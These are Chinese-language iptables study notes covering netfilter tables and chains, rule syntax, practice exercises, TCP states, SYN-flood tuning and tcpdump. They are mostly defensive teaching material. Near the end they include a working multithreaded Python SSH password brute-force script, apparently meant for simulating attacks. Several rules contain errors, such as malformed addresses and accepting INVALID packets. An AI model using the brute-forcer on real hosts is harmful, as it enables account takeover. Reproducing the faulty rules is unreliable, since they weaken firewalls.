iptables
附件
CC攻击器-邪恶十六进制2.0 模拟cc攻击
python写的暴力破解的脚本 模拟暴力破解攻击
linux的防火墙 iptables
名词解释
dip|sip source(源) destination(目的,目标)
sport|dport
netfilter(iptables)
netfilter --工作在内核软件,实现数据包的过滤。
iptables --工作应用层一个软件,用来控制netfilter。
1.netfilter/iptables包过滤防火墙(tcp/ip四层)
1)应用层 --通过软件为用户提供接口
2)传输层 --提供可靠或不可靠的数据传输(TCP/UDP)使用端口来标示服务类型 sport dport
3)网络层 --提供路由和选址(icmp) sip dip
4)数据链路层 --传输数据帧(MAC) s _mac arp写 在局域网内泛洪 来找到我们对应的MAC
5)物理层 --传输透明比特流 eth0 eth1
过滤的依据: s_mac/sip/dip/sport/dport/状态(三次握手/四次断开)SYN DDOS攻击怎么防御我们DDOS 小流量
netfilter的逻辑架构: nat 10
netfilter防火墙的元素及关系:
netfilter==>表==>链==>规则
三张表:
filter 防火墙表,允许和拒绝都在这里实现
nat 地址转换
mangle 数据包整形
五条链:
INPUT 本机进站的数据流
OUTPUT 本机出站的数据流
FORWARD 路由的数据流
POSTROUTING 路由后的数据流
PREROUTING 路由前的数据流
表跟链的对应关系:
filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING
mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING
四种数据流:
本机进站的数据流:packet-->ethX-->PREROUTING-->INPUT-->本机
本机出站的数据流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的数据流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回来: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本机访问本机: 本机-->packet-->lo-->PREROUTING-->INPUT-->本机
本机-->packet-->OUTPUT-->POSTROUTING--lo-->本机
表的匹配顺序:
mangle-->nat-->filter
防火墙规则匹配顺序:
1.按顺序匹配,如果第一条匹配到了就直接执行这条规则的动作,不往下匹配其它规则.
2.如果第一条匹配不到,第二条也匹配不到,继续往下匹配直到找到匹配的规则,如果找不到匹配默认规则.
传输层:协议(tcp/udp)
端口(sport/dport)
网络层:
IP地址(sip/dip/icmp) ping
数据链路层:
mac地址(--mac-source)
物理层:
从哪个网卡进来 -i eth0 eth1 服务器2个地址 外网地址 一个内网地址
iptables操作命令
#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
iptables -[RI] chain rulenum rule-specification [options]
iptables -D chain rulenum [options]
iptables -[LFZ] [chain] [options]
iptables -[NX] chain
iptables -E old-chain-name new-chain-name
iptables -P chain target [options]
iptables -h (print this help information)
--append -A chain 追加规则
--delete -D chain 删除规则
--delete -D chain rulenum 删除指定序号的规则
--insert -I chain [rulenum] 插入一条规则(default 1=first) 插入会插入表的第一行
--replace -R chain rulenum 替换一条规则
--list -L [chain] 显示出链或者链中的规则
--flush -F [chain] 在一个链或者所有链中清空规则
--zero -Z [chain] 清空计数
--new -N chain 创建用户自定义链
--delete-chain
-X [chain] 删除用户自定义链
--policy -P chain target 指定默认规则
Change policy on chain to target
--rename-chain
-E old-chain new-chain
重命名用户自定义链
Options:
--proto -p [!] proto 指定协议,!代表取反
--source -s [!] address[/mask] --指定源地址
source specification
--destination -d [!] address[/mask] --指定目标地址
destination specification
--in-interface -i [!] input name[+] --指定数据从哪个网口进来
network interface name ([+] for wildcard)
--jump -j target --匹配动作
target for rule (may load target extension)
--goto -g chain
jump to chain with no return
--match -m match --扩展匹配
extended match (may load extension)
--numeric -n --端口和IP以数值方式显示,不作反解
--out-interface -o [!] output name[+] --指定数据从哪个网口出去
network interface name ([+] for wildcard)
--table -t table --指定使用哪个表 (default: `filter')
--verbose -v --显示详细信息
--line-numbers --显示规则的序号
--exact -x expand numbers (display exact values)
- 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
- 追加 插入 替换 删除
追加规则:
# iptables -t filter -A INPUT -i lo -j ACCEPT
插入规则:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT --插入成为第一条
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT --插入成为第三条规则
替换规则:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT --替换成为指定规则
删除规则:
# iptables -t filter -D INPUT 2 --删除指定链指定编号的规则
+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT 插入默认第二条
# iptables -t filter -I INPUT -i eth3 -j ACCEPT 插入默认第一条
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT 替换默认第一条
#iptables -t filter -D INPUT 1 删除默认第一条
# iptables -t filter -F INPUT 清空filter所有INPUT链
#iptables -t filter -F
#iptables -L INPUT -n --line -v
空规则:
1、清空一张表
# iptables -t filter -F
注意不会清除默认规则
2、清空一条链中的规则
# iptables -t filter -F INPUT
新建/删除用户自定义的链:
# iptables -t filter -N uplooking 新建
# iptables -t filter -X uplooking 删除
# iptables -t filter -X 清空filter表中所有用户自定义链
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默认规则:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP
1、iptables扩展匹配
- iptables(user space)/netfilter(kernel space)
- netfilter组成(表(功能模块)/链/规则)
filter(INPUT/OUTPUT/FORWARD) 过滤
nat(PREROUTING/POSTROUTING/OUTPUT) 地址转换
mangle(5个链 ) 更封装层数据包结构
-->PREROUTING-->FORWARD-->POSTROUTING-->
INPUT | | OUTPUT
本机
规则的匹原则:
1、自上而下按顺序匹配
2、如果匹配到某条规则,执行这个规则动作,就不往后匹配其它规则
3、如果列表的所有的规则都匹配不到,则匹配默认规则
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丢弃
REJECT 明示拒绝
SNAT 基于源地址的nat转换,其作用是将ip数据包的源地址转换成另外一个地址
DNAT 目的地址转换 其作用是将ip数据包的目标地址转换成另外一个地址
应用层
传输层(tcp/udp/sport/doprt/ tcp6个控制位匹配)
网络层(-s/-d/icmp)
数据链路层(mac)
物理层(-i/-o)
扩展匹配
1、通用匹配 -i -o -s -d
-i eth0 从这块网卡流入的数据 流入一般用INPUT和PREROUING
-o eth0 从这块网卡流出的数据 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目标IP
2、隐含匹配 tcp udp icmp sport dport
3、扩展匹配 -m mac | iprange | state
-m multiport:表示启用多端口扩展 之后我们就可以启用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丢弃 nmap
一般我们多用DROP来隐藏我们的身份,以及隐藏我们的链表
REJECT:明示拒绝
ACCEPT:接受
custom_chain:转向一个自定义的链
DNAT
SNAT
MASQUERADE:源地址伪装 nat实验的时候
REDIRECT:重定向:主要用于实现端口重定向
MARK:打防火墙标记的
RETURN:返回
在自定义链执行完毕后使用返回,来返回原规则链。
练习题1:
只要是来自于172.16.85.14的都允许访问我本机的172.16.100.1的SSHD服务
分析:首先肯定是在允许表中定义的。因为不需要做NAT地址转换之类的,然后查看我们SSHD服务,在22号端口上,处理机制是接受,对于这个表,需要有一来一回两个规则,如果我们允许也好,拒绝也好,对于访问本机服务,我们最好是定义在INPUT链上,而OUTPUT再予以定义就好。(会话的初始端先定义),所以加规则就是:
定义进来的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定义出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
将默认策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
1、允许ping 127.0.0.1 和 允许 ping 10.1.1.0/24 ,其他服务都禁止
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP
或者
# iptables -P INPUT DROP 《--定义默认策略,当在规则表里找不到匹配的规则就采取策略的动作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
2、只运访问本机的SSH服务(只允许远程ssh登录到本机)
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT <---定义端口的参数 --dport
还有就是
定义源端口 --source-port --sport
定义目的端口 --destination-port --dport
3、定义连续端口
iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT <---允许访问 20到100的端口
4、定义多端口 <---引入一个“模块”的概念
iptables -A INPUT -m multiport -p tcp --dports 22,80,110 -j ACCEPT
-m 指定模块
multiport 支持多端口的扩展模块
5、允许和内网的客户(10.1.1.0/24)进行传输数据(包括ping)
iptables -P INPUT DROP
iptables -A INPUT -p ALL -i eth0 -s 10.1.1.0/24 -j ACCEPT
6、决绝访问色情网站www.baidu.com
iptables -A OUTPUT -d www.baidu.com -j DROP
7、通过硬件地址进行过滤
-m mac --mac-source [!] address
iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
注意REJECT 和 DROP 区别
8、定义连续的IP地址
iptables -A INPUT -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP
9、对外只开放web服务,其他一切不放行,不允许进来也不允许出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT <--tcpdump tcp port 80 只看到进来的,没有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT
10、综合应用:
本机需要开放的服务有: ssh(22) 、 web(80) 、 ftp(21 20) 、 DNS(53) 、pop3(110)、pop3s(995)、IMAP(143)、IMAPS(993)、smtp(25)等服务。
其中web 、ftp、pop3、pop3s、IMAP、IMAPS 允许所有网络的人访问;
ssh 只允许本地局域网中的某个MAC地址访问
只允许本地局域网的用户发送邮件
只允许本地局域网的用户查询DNS
# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT
练习题icmp:
icmp:0 8
0:应答请求
8:ping请求
icmp对照表
假如我们允许自己ping别人,但是别人ping自己ping不通如何实现呢?
分析:对于ping这个协议,进来的为8(ping),出去的为0(响应).我们为了达到目的,需要8出去,允许0进来
在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT
在进来的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP
iptables -A INPUT -p icmp --icmp-type 8 -j DROP
小扩展:对于127.0.0.1比较特殊,我们需要明确定义它
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模块的位置
-m connlimit:每个IP的并发连接数(TCP) --关注的是新发起的连接(NEW --syn)
mount -o loop rhel55.iso /mnt
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT
-m icmp:ping包请求与发送
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT
[root@ ~]# iptables -A INPUT -p icmp -j DROP
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==> 0 相当于 echo-reply
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==> 8 相当于 echo-request
-m ipranges:IP范围
[!] --src-range ip-ip Match source IP in the specified range
[!] --dst-range ip-ip Match destination IP in the specified range
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP
-m limit:速率限制
[root@ ~]# watch iptables -L INPUT -nv
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP
-m mac:匹配源地址的 MAC 地址
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP
-m multiport:多端口
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP
-m state(NEW/ESTABLISHED/RELATED/INVALID):
NEW --第一个数包,跟TCP状态无关
ESTABLISHED --第二个数据包
RELATED --已经发生关系的数据(FTP)
INVALID --无效数据包
个人简单的防火墙(状态):
ESTABLISHED 不允许其他主机发起的主动访问,只允许本地主机主动发起的发功能文以及lo通讯
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已发生关系的
(1)vsftpd数据传输(考虑模式,默认是主动模式)
主动模式:
21 --控制端口
20 --数据端口
被动模式:
21 --控制端口
1024+ --数据端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模块的支持,内核才能支持 RELATED状态
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被动模式/主动:
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加载FTP状态自动跟踪模块,它可以完成自动切换端口
-m string:字符串内容进行匹配(局限大,效率低,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:时间限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP
抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位码即tcp标志位,有6种标示:
SYN(synchronous建立联机)
ACK(acknowledgement 确认)
PSH(push传送)
FIN(finish结束)
RST(reset重置)
URG(urgent紧急)
Sequence number(顺序号码)
Acknowledge number(确认号码)
三次握手状态意义:
LISTEN - 侦听来自远方TCP端口的连接请求;
SYN-SENT -在发送连接请求后等待匹配的连接请求;
SYN-RECEIVED - 在收到和发送一个连接请求后等待对连接请求的确认;
ESTABLISHED- 代表一个打开的连接,数据可以传送给用户;
FIN-WAIT-1 - 等待远程TCP的连接中断请求,或先前的连接中断请求的确认;
FIN-WAIT-2 - 从远程TCP等待连接中断请求;
CLOSE-WAIT - 等待从本地用户发来的连接中断请求;
CLOSING -等待远程TCP对连接中断的确认;
LAST-ACK - 等待原来发向远程TCP的连接中断请求的确认;
TIME-WAIT -等待足够的时间以确保远程TCP接收到连接中断请求的确认;
CLOSED - 没有任何连接状态;
TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接,如图1所示。
(1)第一次握手:建立连接时,客户端A发送SYN包(SYN=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。
(2)第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK=j+1),同时自己也发送一个SYN包(SYN=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。
(3)第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据。
四次挥手是断开连接
由于TCP连接是全双工的,因此每个方向都必须单独进行关闭。这个原则是当一方完成它的数据发送任务后就能发送一个FIN来终止这个方向的连接。收到一个 FIN只意味着这一方向上没有数据流动,一个TCP连接在收到一个FIN后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。
CP的连接的拆除需要发送四个包,因此称为四次挥手(four-way handshake)。客户端或服务器均可主动发起挥手动作,在socket编程中,任何一方执行close()操作即可产生挥手操作。
(1)客户端A发送一个FIN,用来关闭客户A到服务器B的数据传送。
(2)服务器B收到这个FIN,它发回一个ACK,确认序号为收到的序号加1。和SYN一样,一个FIN将占用一个序号。
(3)服务器B关闭与客户端A的连接,发送一个FIN给客户端A。
(4)客户端A发回ACK报文确认,并将确认序号设置为收到序号加1。
- 为何主机A在发送了最后的确认后没有进入CLOSED状态,反而进入了一个2MSL的TIME-WAIT。主要作用有两个:第一,确保主机A最后发送的确认能够到达主机B。如果处于LAST-ACK状态的主机B一直收不到来自主机A的确认,它会重传断开连接请求,然后主机A就可以有足够的时间去再次发送确认。但是这也只能尽最大力量来确保能够正常断开,如果主机A的确认总是在网络中滞留失效,从而超过了2MSL,最后也无法正常断开;第二,如果主机A在发送了确认之后立即进入CLOSED状态。假设之后主机A再次向主机B发送一条连接请求,而这条连接请求比之前的确认报文更早地到达主机B,则会使得主机B以为这条连接请求是在旧的连接中A发出的报文,并不看成是一条新的连接请求了,即使得这个连接请求失效了,增加2MSL的时间可以使得这个失效的连接请求报文作废,这样才不影响下次新的连接请求中出现失效的连接请求。
- 在下面的抓包实验中,为什么断开连接请求报文只有三个,而不是四个。因为在TCP连接过程中,确认的发送有一个延时(即经受延时的确认),一端在发送确认的时候将等待一段时间,如果自己在这段事件内也有数据要发送,就跟确认一起发送,如果没有,则确认单独发送。而我们的抓包实验中,由服务器端先断开连接,之后客户端在确认的延迟时间内,也有请求断开连接需要发送,于是就与上次确认一起发送,因此就只有三个数据报了。
DDOS原理,及轻量级别攻击的防止
# vim /etc/sysctl.conf
net.ipv4.tcp_max_syn_backlog = 8096 --超过最大连接数后产生新syn队列的长度
net.ipv4.tcp_synack_retries = 2 --syn确认的重试次数
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外连接的端口范围。缺省情况下很小:32768到61000,改为1024到65000。
net.ipv4.tcp_syncookies = 1 --表示开启SYNCookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;
net.ipv4.tcp_tw_reuse = 1 --表示开启重用。允许将TIME-WAITsockets重新用于新的TCP连接,默认为0,表示关闭;
net.ipv4.tcp_tw_recycle = 1 --表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。
net.ipv4.tcp_max_tw_buckets=5000--表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数字,TIME_WAIT套接字将立刻被清除并打印警告信息。默认为180000,改为5000。
sysctl -p
1、通过iptables防止轻量级别的DDOS
-m limit
-m connlimit
2、DDOS的原理,三次握手(客户端第三次不回应服务端)
3、通过内核增大TCP缓冲区,支持更多的连接。
4、增加更强大的硬件防火墙,用于丢弃(过滤)掉不正常syn请求,搭建负载均衡集群,另外保证你的外网有足够大的带宽
第一种 一
从哪个网卡出去 -o
传输层:协议(tcp/udp)
端口(sport /dport)
网络层:
IP地址(sip /dip /icmp) ping
数据链路层:
mac地址(--mac-source)
物理层:
从哪个网卡进来 -i eth0 eth1 服务器2个地址 外网地址 一个内网地址
从哪个网卡出去 -o
iptables防御cc攻击脚本
#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi
iptable通用脚本
#!/bin/bash
# Descript:The Firewall Script.
iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
- 使用python多线程暴力破解linux密码
#!/bin/python
import optparse
import time
from threading import *
from pexpect import pxssh
maxConnections = 100
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'
)
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()
tcpdump 抓包工具
1)tcpdump(传输/网络层)
tcpdump -i eth0
tcpdump -i eth0 -vnn
-v:显示包含有TTL,TOS值等等更详细的信息
-n:不要做IP解析为主机名
-nn:不做名字解析和端口解析
更有针对性的抓包:
针对IP,网段,端口,协议
tcpdump -n -i eth0 -vnn host 192.168.0.154 --主机地址里边只要包含地址有:192.168.0.154
tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一个网段数据包
tcpdump -i eth0 -vnn port 22
tcpdump -i eth0 -vnn udp
tcpdump -i eth0 -vnn icmp ping
tcpdump -i eth0 -vnn arp
$x = y$$x = y$ # tcpdump -i eth0 -vnn ip
tcpdump -n -i eth0 -vnn src host 192.168.0.154
tcpdump -i eth0 -vnn dst host 192.168.0.154
tcpdump -i eth0 -vnn src port 22
tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22
抓包最主要的功能在于调试,比如在调试某个服务的时候 明明服务起来了 但是不知道为什么链接不上 可以通过抓包工具来测试看看请求包有没有过来服务器,来判断是传输过程中失败了 还是被服务器拒绝了